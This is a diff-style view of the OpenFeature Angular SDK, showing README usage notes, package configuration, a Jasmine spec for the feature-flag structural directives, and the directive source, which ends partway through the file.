This is shown when the feature flag matches the specified user configuration.
</div>
<ng-template #objectFeatureElse>
This is shown when the feature flag does not match the specified user configuration.
</ng-template>
<ng-template #objectFeatureInitializing>
This is shown when the feature flag is initializing.
</ng-template>
<ng-template #objectFeatureReconciling>
This is shown when the feature flag is reconciling.
</ng-template>
```
##### Opting-out of automatic re-rendering
By default, the directive re-renders when the flag value changes or the context changes.
In cases, this is not desired, re-rendering can be disabled for both events:
```html
<div *booleanFeatureFlag="'isFeatureEnabled'; default: true; updateOnContextChanged: false; updateOnConfigurationChanged: false;">
This is shown when the feature flag is enabled.
</div>
```
##### Consuming the evaluation details
The `evaluation details` can be used when rendering the templates.
The directives [`$implicit`](https://angular.dev/guide/directives/structural-directives#structural-directive-shorthand)
value will be bound to the flag value and additionally the value `evaluationDetails` will be
bound to the whole evaluation details.
They can be referenced in all templates.
The following example shows `value` being implicitly bound and `details` being bound to the evaluation details.
```html
<div
*stringFeatureFlag="'themeColor'; value: 'dark'; default: 'light'; else: stringFeatureElse; let value; let details = evaluationDetails">
It was a match!
The theme color is {{ value }} because of {{ details.reason }}
</div>
<ng-template #stringFeatureElse let-value let-details='evaluationDetails'>
It was no match!
The theme color is {{ value }} because of {{ details.reason }}
</ng-template>
```
When the expected flag value is omitted, the template will always be rendered.
This can be used to just render the flag value or details without conditional rendering.
```html
<div *stringFeatureFlag="'themeColor'; default: 'light'; let value;">
The theme color is {{ value }}.
</div>
```
##### Setting evaluation context
To set the initial evaluation context, you can add the `context` parameter to the `OpenFeatureModule` configuration.
This context can be either an object or a factory function that returns an `EvaluationContext`.
> [!TIP]
> Updating the context can be done directly via the global OpenFeature API using `OpenFeature.setContext()`
Heres how you can define and use the initial client evaluation context:
###### Using a static object
```typescript
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { OpenFeatureModule } from '@openfeature/angular-sdk';
const initialContext = {
user: {
id: 'user123',
role: 'admin',
}
};
@NgModule({
imports: [
CommonModule,
OpenFeatureModule.forRoot({
provider: yourFeatureProvider,
context: initialContext
})
],
})
export class AppModule {}
```
###### Using a factory function
```typescript
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { OpenFeatureModule, EvaluationContext } from '@openfeature/angular-sdk';
const contextFactory = (): EvaluationContext => loadContextFromLocalStorage();
@NgModule({
imports: [
CommonModule,
OpenFeatureModule.forRoot({
provider: yourFeatureProvider,
context: contextFactory
})
],
})
export class AppModule {}
```
## FAQ and troubleshooting
> I can import things form the `@openfeature/angular-sdk`, `@openfeature/web-sdk`, and `@openfeature/core`; which should I use?
The `@openfeature/angular-sdk` re-exports everything from its peers (`@openfeature/web-sdk` and `@openfeature/core`), and adds the Angular-specific features.
You can import everything from the `@openfeature/angular-sdk` directly.
Avoid importing anything from `@openfeature/web-sdk` or `@openfeature/core`.
## Resources
- [Example repo](https://github.com/open-feature/angular-test-app)

View File

@ -0,0 +1,8 @@
{
"$schema": "../../node_modules/ng-packagr/ng-package.schema.json",
"dest": "../../dist/angular",
"keepLifecycleScripts": true,
"lib": {
"entryFile": "src/public-api.ts"
}
}

View File

@ -0,0 +1,43 @@
{
"name": "@openfeature/angular-sdk",
"version": "0.0.16",
"description": "OpenFeature Angular SDK",
"repository": {
"type": "git",
"url": "git+https://github.com/open-feature/js-sdk.git"
},
"license": "Apache-2.0",
"bugs": {
"url": "https://github.com/open-feature/js-sdk/issues"
},
"homepage": "https://github.com/open-feature/js-sdk#readme",
"scripts": {
"current-published-version": "npm show $npm_package_name@$npm_package_version version",
"current-version": "echo $npm_package_version",
"prepack": "shx cp ./../../../../LICENSE ./LICENSE"
},
"peerDependencies": {
"@angular/common": "^16.2.12 || ^17.3.0 || ^18.0.0 || ^19.0.0 || ^20.0.0",
"@angular/core": "^16.2.12 || ^17.3.0 || ^18.0.0 || ^19.0.0 || ^20.0.0",
"@openfeature/web-sdk": "^1.4.1"
},
"dependencies": {
"tslib": "^2.3.0"
},
"devDependencies": {
"@openfeature/core": "^1.8.1",
"@openfeature/web-sdk": "^1.5.0",
"@angular/common": "^20.1.2",
"@angular/core": "^20.1.2"
},
"sideEffects": false,
"keywords": [
"openfeature",
"feature",
"flags",
"toggles",
"browser",
"web",
"angular"
]
}

View File

@ -0,0 +1,608 @@
import { ComponentFixture, TestBed } from '@angular/core/testing';
import { Component, Input } from '@angular/core';
import { OpenFeatureModule } from './open-feature.module';
import { By } from '@angular/platform-browser';
import { Client, ClientProviderEvents, FlagValue, InMemoryProvider, OpenFeature } from '@openfeature/web-sdk';
import { TestingProvider } from '../test/test.utils';
import { v4 } from 'uuid';
import {
BooleanFeatureFlagDirective,
NumberFeatureFlagDirective,
ObjectFeatureFlagDirective,
StringFeatureFlagDirective,
} from './feature-flag.directive';
@Component({
standalone: true,
imports: [
BooleanFeatureFlagDirective,
NumberFeatureFlagDirective,
StringFeatureFlagDirective,
ObjectFeatureFlagDirective,
],
template: `
<ng-container>
<div class="case-1">
<div *booleanFeatureFlag="'test-flag'; default: true; domain: domain" class="flag-status">Flag On</div>
</div>
<div class="case-2">
<div *booleanFeatureFlag="'test-flag'; default: true; else: elseTemplate; domain: domain" class="flag-status">
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
<div class="case-3">
<div
*booleanFeatureFlag="'test-flag'; default: false; initializing: initializingTemplate; domain: domain"
class="flag-status"
>
Flag On
</div>
<ng-template #initializingTemplate>
<div class="flag-status">Initializing</div>
</ng-template>
</div>
<div class="case-4">
<div
*booleanFeatureFlag="'test-flag'; default: false; reconciling: reconcilingTemplate; domain: domain"
class="flag-status"
>
Flag On
</div>
<ng-template #reconcilingTemplate>
<div class="flag-status">Reconciling</div>
</ng-template>
</div>
<div class="case-5">
<div
*booleanFeatureFlag="
'test-flag';
default: false;
else: elseTemplate;
initializing: initializingTemplate;
reconciling: reconcilingTemplate;
domain: domain
"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
<ng-template #initializingTemplate>
<div class="flag-status">Initializing</div>
</ng-template>
<ng-template #reconcilingTemplate>
<div class="flag-status">Reconciling</div>
</ng-template>
</div>
<div class="case-6">
<div
*booleanFeatureFlag="specialFlagKey; default: true; else: elseTemplate; domain: domain"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
<div class="case-7">
<div
*numberFeatureFlag="'test-flag'; default: 0; value: 1; else: elseTemplate; domain: domain"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
<div class="case-8">
<div
*stringFeatureFlag="'test-flag'; default: 'default'; value: 'on'; else: elseTemplate; domain: domain"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
<div class="case-9">
<div
*objectFeatureFlag="
'test-flag';
default: {};
value: { prop2: true, prop1: true };
else: elseTemplate;
domain: domain
"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
<div class="case-10">
<div
*booleanFeatureFlag="
'test-flag';
default: false;
domain: domain;
else: elseTemplateWithContext;
let value;
let evaluationDetails = evaluationDetails
"
class="flag-status"
>
then {{ value }} {{ evaluationDetails.reason }}
</div>
<ng-template #elseTemplateWithContext let-value let-evaluationDetails="evaluationDetails">
<div class="flag-status">else {{ value }} {{ evaluationDetails.reason }}</div>
</ng-template>
</div>
<div class="case-11">
<div
*stringFeatureFlag="'test-flag'; default: 'default'; domain: domain; let value = $implicit"
class="flag-status"
>
{{ value }}
</div>
</div>
<div class="case-12">
<div
*booleanFeatureFlag="
'test-flag';
default: true;
else: elseTemplate;
domain: domain;
updateOnConfigurationChanged: false
"
class="flag-status"
>
Flag On
</div>
<ng-template #elseTemplate>
<div class="flag-status">Flag Off</div>
</ng-template>
</div>
</ng-container>
`,
})
class TestComponent {
@Input() domain: string;
@Input() specialFlagKey: string = 'test-flag';
protected readonly JSON = JSON;
}
describe('FeatureFlagDirective', () => {
describe('thenTemplate', () => {
it('should not be rendered if disabled by the flag', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectAmountElements(fixture, 'case-1', 0);
});
it('should be rendered if enabled by the flag', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-2', 'Flag On');
});
});
describe('elseTemplate', () => {
it('should not be rendered if not existent but enabled by the flag', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectAmountElements(fixture, 'case-1', 0);
});
it('should not be rendered if existent but disabled by the flag', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-2', 'Flag On');
});
it('should be rendered if existent and enabled by the flag', async () => {
const { fixture, provider } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-2', 'Flag On');
await updateFlagValue(provider, false);
fixture.detectChanges(); // Ensure change detection after flag update
await expectRenderedText(fixture, 'case-2', 'Flag Off');
});
});
describe('initializingTemplate', () => {
it('should not be rendered if provider is ready', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-3', 'Flag On');
});
it('should be rendered if provider is not ready', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
providerInitDelay: 1000,
});
await expectRenderedText(fixture, 'case-3', 'Initializing');
});
it('should render until the provider is initialized', async () => {
const { fixture, client } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
providerInitDelay: 1000,
});
await expectRenderedText(fixture, 'case-3', 'Initializing');
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-3', 'Flag On');
});
});
describe('reconcilingTemplate', () => {
it('should not be rendered if provider is ready', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-3', 'Flag On');
});
it('should be rendered while provider is reconciling', async () => {
const { fixture, domain, client } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
providerInitDelay: 500,
});
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-4', 'Flag On');
const setContextPromise = OpenFeature.setContext(domain, { newCtx: true });
await expectRenderedText(fixture, 'case-4', 'Reconciling');
await setContextPromise;
await expectRenderedText(fixture, 'case-4', 'Flag On');
});
});
describe('complex case', () => {
it('should use initializing, then, else and reconciling in one go', async () => {
const { fixture, provider, client, domain } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
providerInitDelay: 500,
});
// Initializing
await expectRenderedText(fixture, 'case-5', 'Initializing');
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-5', 'Flag On');
// Updating
await updateFlagValue(provider, false);
await expectRenderedText(fixture, 'case-5', 'Flag Off');
// Reconciling
const setContextPromise = OpenFeature.setContext(domain, { newCtx: true });
await expectRenderedText(fixture, 'case-5', 'Reconciling');
await setContextPromise;
await expectRenderedText(fixture, 'case-5', 'Flag Off');
// Updating 2
await updateFlagValue(provider, true);
await expectRenderedText(fixture, 'case-5', 'Flag On');
});
it('should evaluate on flag key change', async () => {
const { fixture, client } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
'new-test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
});
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-6', 'Flag On');
fixture.componentRef.setInput('specialFlagKey', 'new-test-flag');
await fixture.whenStable();
await expectRenderedText(fixture, 'case-6', 'Flag Off');
});
it('should opt-out of re-rendering when flag value changes', async () => {
const { fixture, client, provider } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
'new-test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
});
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-12', 'Flag On');
await updateFlagValue(provider, false);
await expectRenderedText(fixture, 'case-12', 'Flag On');
});
it('should evaluate on flag domain change', async () => {
const { fixture, client } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await waitForClientReady(client);
await expectRenderedText(fixture, 'case-6', 'Flag On');
const newDomain = v4();
const newProvider = new TestingProvider(
{
'test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
0,
);
await OpenFeature.setProviderAndWait(newDomain, newProvider);
fixture.componentRef.setInput('domain', newDomain);
await fixture.whenStable();
await expectRenderedText(fixture, 'case-6', 'Flag Off');
});
});
describe('numberFeatureFlag', () => {
it('should render thenTemplate on match and else elseTemplate ', async () => {
const { fixture, provider } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: 1 },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-7', 'Flag On');
await updateFlagValue(provider, 2);
await expectRenderedText(fixture, 'case-7', 'Flag Off');
});
});
describe('stringFeatureFlag', () => {
it('should render thenTemplate on match and else elseTemplate ', async () => {
const { fixture, provider } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: 'on' },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-8', 'Flag On');
await updateFlagValue(provider, 'another-value');
await expectRenderedText(fixture, 'case-8', 'Flag Off');
});
});
describe('objectFeatureFlag', () => {
it('should render thenTemplate on match and else elseTemplate', async () => {
const { fixture, provider } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: { prop1: true, prop2: true } },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-9', 'Flag On');
await updateFlagValue(provider, { prop2: 'string' });
await expectRenderedText(fixture, 'case-9', 'Flag Off');
});
});
describe('context', () => {
it('should render thenTemplate from context', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: true },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-10', 'then true STATIC');
});
it('should render elseTemplate from context', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: false },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-10', 'else false STATIC');
});
it('should always render if no expected value is given', async () => {
const { fixture } = await createTestingModule({
flagConfiguration: {
'test-flag': {
variants: { default: 'flag-value' },
defaultVariant: 'default',
disabled: false,
},
},
});
await expectRenderedText(fixture, 'case-11', 'flag-value');
});
});
});
async function createTestingModule(config?: {
flagConfiguration?: ConstructorParameters<typeof InMemoryProvider>[0];
providerInitDelay?: number;
}): Promise<{ fixture: ComponentFixture<TestComponent>; provider: TestingProvider; domain: string; client: Client }> {
const domain = v4();
const provider = new TestingProvider(config?.flagConfiguration ?? {}, config?.providerInitDelay ?? 0);
const fixture = TestBed.configureTestingModule({
imports: [
OpenFeatureModule.forRoot({ provider: new InMemoryProvider(), domainBoundProviders: { [domain]: provider } }),
TestComponent,
],
}).createComponent(TestComponent);
fixture.componentRef.setInput('domain', domain);
await fixture.whenStable();
const client = OpenFeature.getClient(domain);
if (!config.providerInitDelay) {
await waitForClientReady(client);
}
return { provider, domain, client, fixture };
}
async function waitForClientReady(client: Client) {
await new Promise((resolve) => client.addHandler(ClientProviderEvents.Ready, resolve));
}
async function updateFlagValue<T extends FlagValue>(provider: TestingProvider, value: T) {
await provider.putConfiguration({
'test-flag': {
variants: { default: value },
defaultVariant: 'default',
disabled: false,
},
});
}
async function getElements(fixture: ComponentFixture<TestComponent>, testCase: string) {
fixture.detectChanges();
await fixture.whenStable();
return fixture.debugElement.queryAll(By.css(`.${testCase} .flag-status`));
}
async function expectAmountElements(fixture: ComponentFixture<TestComponent>, testCase: string, amount: number) {
const divElements = await getElements(fixture, testCase);
expect(divElements.length).toEqual(amount);
}
async function expectRenderedText(fixture: ComponentFixture<TestComponent>, testCase: string, rendered: string) {
const divElements = await getElements(fixture, testCase);
expect(divElements.length).toEqual(1);
expect(divElements[0].nativeElement.textContent.trim()).toBe(rendered);
}

View File

@ -0,0 +1,706 @@
import {
ChangeDetectorRef,
Directive,
EmbeddedViewRef,
Input,
OnChanges,
OnDestroy,
OnInit,
TemplateRef,
ViewContainerRef,
inject,
} from '@angular/core';
import {
Client,
ClientProviderEvents,
ClientProviderStatus,
EvaluationDetails,
EventHandler,
FlagValue,
JsonValue,
OpenFeature,
} from '@openfeature/web-sdk';
class FeatureFlagDirectiveContext<T extends FlagValue> {
$implicit!: T;
evaluationDetails: EvaluationDetails<T>;
constructor(details: EvaluationDetails<T>) {
this.$implicit = details.value;
this.evaluationDetails = details;
}
}
@Directive({
standalone: true,
selector: '[featureFlag]',
})
export abstract class FeatureFlagDirective<T extends FlagValue> implements OnInit, OnDestroy, OnChanges {
protected _changeDetectorRef: ChangeDetectorRef;
protected _viewContainerRef: ViewContainerRef;
protected _featureFlagDefault: T;
protected _featureFlagDomain: string | undefined;
protected _featureFlagKey: string;
protected _featureFlagValue?: T;
protected _client: Client;
protected _lastEvaluationResult: EvaluationDetails<T>;
protected _readyHandler: EventHandler<ClientProviderEvents.Ready> | null = null;
protected _flagChangeHandler: EventHandler<ClientProviderEvents.ConfigurationChanged> | null = null;
protected _contextChangeHandler: EventHandler<ClientProviderEvents.Error> | null = null;
protected _reconcilingHandler: EventHandler<ClientProviderEvents.Reconciling> | null = null;
protected _updateOnContextChanged: boolean = true;
protected _updateOnConfigurationChanged: boolean = true;
protected _thenTemplateRef: TemplateRef<FeatureFlagDirectiveContext<T>> | null;
protected _thenViewRef: EmbeddedViewRef<unknown> | null;
protected _elseTemplateRef: TemplateRef<FeatureFlagDirectiveContext<T>> | null;
protected _elseViewRef: EmbeddedViewRef<unknown> | null;
protected _initializingTemplateRef: TemplateRef<FeatureFlagDirectiveContext<T>> | null;
protected _initializingViewRef: EmbeddedViewRef<unknown> | null;
protected _reconcilingTemplateRef: TemplateRef<FeatureFlagDirectiveContext<T>> | null;
protected _reconcilingViewRef: EmbeddedViewRef<unknown> | null;
protected constructor() {}
set featureFlagDomain(domain: string | undefined) {
/**
* We have to handle the change of the domain explicitly because we need to get a new client when the domain changes.
* This can not be done if we simply relay the onChanges method.
*/
this._featureFlagDomain = domain;
this.initClient();
}
ngOnInit(): void {
this.initClient();
}
ngOnChanges(): void {
this._flagChangeHandler?.();
}
ngOnDestroy(): void {
if (this._client) {
this.disposeClient(this._client);
this._client = null;
}
}
private initClient(): void {
if (this._client) {
this.disposeClient(this._client);
}
this._client = OpenFeature.getClient(this._featureFlagDomain);
const baseHandler = () => {
const result = this.getFlagDetails(this._featureFlagKey, this._featureFlagDefault);
this.onFlagValue(result, this._client.providerStatus);
};
this._flagChangeHandler = () => {
if (this._updateOnConfigurationChanged) {
baseHandler();
}
};
this._contextChangeHandler = () => {
if (this._updateOnContextChanged) {
baseHandler();
}
};
this._readyHandler = () => baseHandler();
this._reconcilingHandler = () => baseHandler();
this._client.addHandler(ClientProviderEvents.ConfigurationChanged, this._flagChangeHandler);
this._client.addHandler(ClientProviderEvents.ContextChanged, this._contextChangeHandler);
this._client.addHandler(ClientProviderEvents.Ready, this._readyHandler);
this._client.addHandler(ClientProviderEvents.Reconciling, this._reconcilingHandler);
}
private disposeClient(client: Client) {
if (this._contextChangeHandler()) {
client.removeHandler(ClientProviderEvents.ContextChanged, this._contextChangeHandler);
}
if (this._flagChangeHandler) {
client.removeHandler(ClientProviderEvents.ConfigurationChanged, this._flagChangeHandler);
}
if (this._readyHandler) {
client.removeHandler(ClientProviderEvents.Ready, this._readyHandler);
}
if (this._reconcilingHandler) {
client.removeHandler(ClientProviderEvents.Reconciling, this._reconcilingHandler);
}
}
protected getFlagDetails(flagKey: string, defaultValue: T): EvaluationDetails<T> {
if (typeof defaultValue === 'boolean') {
return this._client.getBooleanDetails(flagKey, defaultValue) as EvaluationDetails<T>;
} else if (typeof defaultValue === 'number') {
return this._client.getNumberDetails(flagKey, defaultValue) as EvaluationDetails<T>;
} else if (typeof defaultValue === 'string') {
return this._client.getStringDetails(flagKey, defaultValue) as EvaluationDetails<T>;
} else {
return this._client.getObjectDetails(flagKey, defaultValue) as EvaluationDetails<T>;
}
}
protected onFlagValue(result: EvaluationDetails<T>, status: ClientProviderStatus): void {
const shouldInitialize = this._initializingTemplateRef && status === ClientProviderStatus.NOT_READY;
const shouldReconcile = this._reconcilingTemplateRef && status === ClientProviderStatus.RECONCILING;
const context = new FeatureFlagDirectiveContext(result);
const resultChanged = !deepEqual(this._lastEvaluationResult, result);
const isValueMatch = !this._featureFlagValue || deepEqual(result.value, this._featureFlagValue);
if (this._initializingViewRef && shouldInitialize && !resultChanged) {
return;
} else if (this._reconcilingViewRef && shouldReconcile && !resultChanged) {
return;
} else if (this._thenViewRef && isValueMatch && !shouldInitialize && !shouldReconcile && !resultChanged) {
return;
} else if (this._elseViewRef && !isValueMatch && !shouldInitialize && !shouldReconcile && !resultChanged) {
return;
}
this._lastEvaluationResult = result;
this._viewContainerRef.clear();
this._initializingViewRef = null;
this._reconcilingViewRef = null;
this._thenViewRef = null;
this._elseViewRef = null;
if (this._initializingTemplateRef && status === ClientProviderStatus.NOT_READY) {
this._initializingViewRef = this._viewContainerRef.createEmbeddedView(this._initializingTemplateRef, context);
} else if (this._reconcilingTemplateRef && status === ClientProviderStatus.RECONCILING) {
this._reconcilingViewRef = this._viewContainerRef.createEmbeddedView(this._reconcilingTemplateRef, context);
} else if (isValueMatch) {
this._thenViewRef = this._viewContainerRef.createEmbeddedView(this._thenTemplateRef, context);
} else if (this._elseTemplateRef) {
this._elseViewRef = this._viewContainerRef.createEmbeddedView(this._elseTemplateRef, context);
}
this._changeDetectorRef.markForCheck();
}
}
/**
* A structural directive that conditionally includes a template based on the evaluation
* of a boolean feature flag.
* When the flag evaluates to true, Angular renders the template provided in a `then` clause,
* and when false, Angular renders the template provided in an optional `else` clause.
* The default template for the `else` clause is blank.
*
* Usage examples:
*
* ```
* <div *booleanFeatureFlag="'flagKey'; default: false; let value">{{ value }}</div>
* ```
* ```
* <div *booleanFeatureFlag="flagKey; default: false; else: elseTemplate">Content to render when flag is true.</div>
* <ng-template #elseTemplate>Content to render when flag is false.</ng-template>
* ```
*
* @usageNotes
*
* You can specify templates for other statuses such as initializing and reconciling.
*
* ```
* <div *booleanFeatureFlag="flagKey; default:true; else: elseTemplate; initializing: initializingTemplate; reconciling: reconcilingTemplate">Content to render when flag is true.</div>
* <ng-template #elseTemplate>Content to render when flag is false.</ng-template>
* <ng-template #initializingTemplate>Loading...</ng-template>
* <ng-template #reconcilingTemplate>Reconfiguring...</ng-template>
* ```
*
*/
@Directive({
standalone: true,
selector: '[booleanFeatureFlag]',
})
export class BooleanFeatureFlagDirective extends FeatureFlagDirective<boolean> implements OnChanges {
override _changeDetectorRef = inject(ChangeDetectorRef);
override _viewContainerRef = inject(ViewContainerRef);
override _thenTemplateRef = inject<TemplateRef<FeatureFlagDirectiveContext<boolean>>>(TemplateRef);
/**
* The key of the boolean feature flag.
*/
@Input({ required: true }) booleanFeatureFlag: string;
/**
* The default value for the boolean feature flag.
*/
@Input({ required: true }) booleanFeatureFlagDefault: boolean;
constructor() {
super();
}
override ngOnChanges() {
this._featureFlagKey = this.booleanFeatureFlag;
this._featureFlagDefault = this.booleanFeatureFlagDefault;
this._featureFlagValue = true;
super.ngOnChanges();
}
/**
* The domain of the boolean feature flag.
*/
@Input({ required: false })
set booleanFeatureFlagDomain(domain: string | undefined) {
super.featureFlagDomain = domain;
}
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
@Input({ required: false })
set booleanFeatureFlagUpdateOnConfigurationChanged(enabled: boolean | undefined) {
this._updateOnConfigurationChanged = enabled ?? true;
}
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
@Input({ required: false })
set booleanFeatureFlagUpdateOnContextChanged(enabled: boolean | undefined) {
this._updateOnContextChanged = enabled ?? true;
}
/**
* Template to be displayed when the feature flag is false.
*/
@Input()
set booleanFeatureFlagElse(tpl: TemplateRef<FeatureFlagDirectiveContext<boolean>>) {
this._elseTemplateRef = tpl;
}
/**
* Template to be displayed when the provider is not ready.
*/
@Input()
set booleanFeatureFlagInitializing(tpl: TemplateRef<FeatureFlagDirectiveContext<boolean>>) {
this._initializingTemplateRef = tpl;
}
/**
* Template to be displayed when the provider is reconciling.
*/
@Input()
set booleanFeatureFlagReconciling(tpl: TemplateRef<FeatureFlagDirectiveContext<boolean>>) {
this._reconcilingTemplateRef = tpl;
}
}
/**
* A structural directive that conditionally includes a template based on the evaluation
* of a number feature flag.
* When the flag matches the provided value or no expected value is given, Angular renders the template provided
* in a `then` clause, and when it doesn't match, Angular renders the template provided
* in an optional `else` clause.
* The default template for the `else` clause is blank.
*
* Usage examples:
*
* ```
* <div *numberFeatureFlag="'flagKey'; default: 0; let value">{{ value }}</div>
* ```
* ```
* <div *numberFeatureFlag="'flagKey'; value: 1; default: 0; else: elseTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* ```
*
* @usageNotes
*
* You can specify templates for other statuses such as initializing and reconciling.
*
* ```
* <div *numberFeatureFlag="flagKey; default: 0; value: flagValue; else: elseTemplate; initializing: initializingTemplate; reconciling: reconcilingTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* <ng-template #initializingTemplate>Loading...</ng-template>
* <ng-template #reconcilingTemplate>Reconfiguring...</ng-template>
* ```
*
*/
@Directive({
standalone: true,
selector: '[numberFeatureFlag]',
})
export class NumberFeatureFlagDirective extends FeatureFlagDirective<number> implements OnChanges {
override _changeDetectorRef = inject(ChangeDetectorRef);
override _viewContainerRef = inject(ViewContainerRef);
override _thenTemplateRef = inject<TemplateRef<FeatureFlagDirectiveContext<number>>>(TemplateRef);
/**
* The key of the number feature flag.
*/
@Input({ required: true }) numberFeatureFlag: string;
/**
* The default value for the number feature flag.
*/
@Input({ required: true }) numberFeatureFlagDefault: number;
/**
* The expected value of this number feature flag, for which the `then` template should be rendered.
*/
@Input({ required: false }) numberFeatureFlagValue?: number;
constructor() {
super();
}
override ngOnChanges() {
this._featureFlagKey = this.numberFeatureFlag;
this._featureFlagDefault = this.numberFeatureFlagDefault;
this._featureFlagValue = this.numberFeatureFlagValue;
super.ngOnChanges();
}
/**
* The domain of the number feature flag.
*/
@Input({ required: false })
set numberFeatureFlagDomain(domain: string | undefined) {
super.featureFlagDomain = domain;
}
/**
* Update the component if the provider emits a ConfigurationChanged event.
* Set to false to prevent components from re-rendering when flag value changes
* are received by the associated provider.
* Defaults to true.
*/
@Input({ required: false })
set numberFeatureFlagUpdateOnConfigurationChanged(enabled: boolean | undefined) {
this._updateOnConfigurationChanged = enabled ?? true;
}
/**
* Update the component when the OpenFeature context changes.
* Set to false to prevent components from re-rendering when attributes which
* may be factors in flag evaluation change.
* Defaults to true.
*/
@Input({ required: false })
set numberFeatureFlagUpdateOnContextChanged(enabled: boolean | undefined) {
this._updateOnContextChanged = enabled ?? true;
}
/**
* Template to be displayed when the feature flag does not match value.
*/
@Input()
set numberFeatureFlagElse(tpl: TemplateRef<FeatureFlagDirectiveContext<number>>) {
this._elseTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is not ready.
*/
@Input()
set numberFeatureFlagInitializing(tpl: TemplateRef<FeatureFlagDirectiveContext<number>>) {
this._initializingTemplateRef = tpl;
}
/**
* Template to be displayed when the feature flag is not ready.
*/
@Input()
set numberFeatureFlagReconciling(tpl: TemplateRef<FeatureFlagDirectiveContext<number>>) {
this._reconcilingTemplateRef = tpl;
}
}
/**
* A structural directive that conditionally includes a template based on the evaluation
* of a string feature flag.
* When the flag matches the provided value or no expected value is given, Angular renders the template provided
* in a `then` clause, and when it doesn't match, Angular renders the template provided
* in an optional `else` clause.
* The default template for the `else` clause is blank.
*
* Usage examples:
*
* ```
* <div *stringFeatureFlag="'flagKey'; default: 'default'; let value">{{ value }}</div>
* ```
* ```
* <div *stringFeatureFlag="flagKey; default: 'default'; value: flagValue; else: elseTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* ```
*
* @usageNotes
*
* You can specify templates for other statuses such as initializing and reconciling.
*
* ```
* <div *stringFeatureFlag="flagKey; default: 'default'; value: flagValue; else: elseTemplate; initializing: initializingTemplate; reconciling: reconcilingTemplate">Content to render when flag matches value.</div>
* <ng-template #elseTemplate>Content to render when flag does not match value.</ng-template>
* <ng-template #initializingTemplate>Loading...</ng-template>
* <ng-template #reconcilingTemplate>Reconfiguring...</ng-template>
* ```
*
*/
@Directive({
standalone: true,
selector: '[stringFeatureFlag]',
})
